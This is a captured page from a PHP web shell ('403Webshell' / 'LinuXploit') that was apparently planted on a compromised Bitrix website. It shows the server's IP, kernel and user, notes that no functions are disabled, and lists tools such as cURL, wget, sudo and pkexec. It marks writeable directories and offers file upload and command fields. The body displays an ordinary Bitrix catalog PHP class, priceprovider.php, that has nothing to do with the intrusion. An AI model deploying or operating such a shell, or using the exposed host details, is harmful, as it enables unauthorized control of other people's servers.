403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/catalog/lib/grid/column/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/catalog/lib/grid/column/priceprovider.php
<?php

namespace Bitrix\Catalog\Grid\Column;

use Bitrix\Main\Grid;
use Bitrix\Catalog;
use Bitrix\Catalog\Access;

class PriceProvider extends CatalogProvider
{
	private const PREFIX_PRICE_COLUMN_ID = 'PRICE_';
	private const PREFIX_CURRENCY_COLUMN_ID= 'CURRENCY_';

	public function prepareColumns(): array
	{
		$result = [];

		$editable = false;
		foreach (Catalog\GroupTable::getTypeList() as $priceType)
		{
			$priceTypeId = (int)$priceType['ID'];
			$columnId = static::getPriceTypeColumnId($priceTypeId);

			$result[$columnId] = [
				'type' => Grid\Column\Type::MONEY,
				'name' => $priceType['NAME_LANG'] ?? $priceType['NAME'],
				'necessary' => false,
				'editable' => $editable ?: new Grid\Column\Editable\MoneyConfig($columnId),
				'multiple' => false,
				'sort' => 'SCALED_PRICE_' . $priceTypeId,
				'align' => 'right',
				'select' => [
					self::getPriceTypeColumnId($priceTypeId),
					self::getCurrencyPriceTypeId($priceTypeId),
				],
			];
		}

		return $this->createColumns($result);
	}

	public static function parsePriceTypeId(string $columnId): ?int
	{
		$prefix = preg_quote(self::PREFIX_PRICE_COLUMN_ID);
		$re = "/^{$prefix}(\d+)$/";

		if (preg_match($re, $columnId, $m))
		{
			return (int)$m[1];
		}

		return null;
	}

	public static function getPriceTypeColumnId(int $priceTypeId): string
	{
		return self::PREFIX_PRICE_COLUMN_ID . $priceTypeId;
	}

	public static function getCurrencyPriceTypeId(int $priceTypeId)
	{
		return self::PREFIX_CURRENCY_COLUMN_ID . $priceTypeId;
	}

	protected function allowPriceEdit(): bool
	{
		return
			$this->allowProductEdit()
			&& $this->accessController->check(Access\ActionDictionary::ACTION_PRICE_EDIT)
		;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit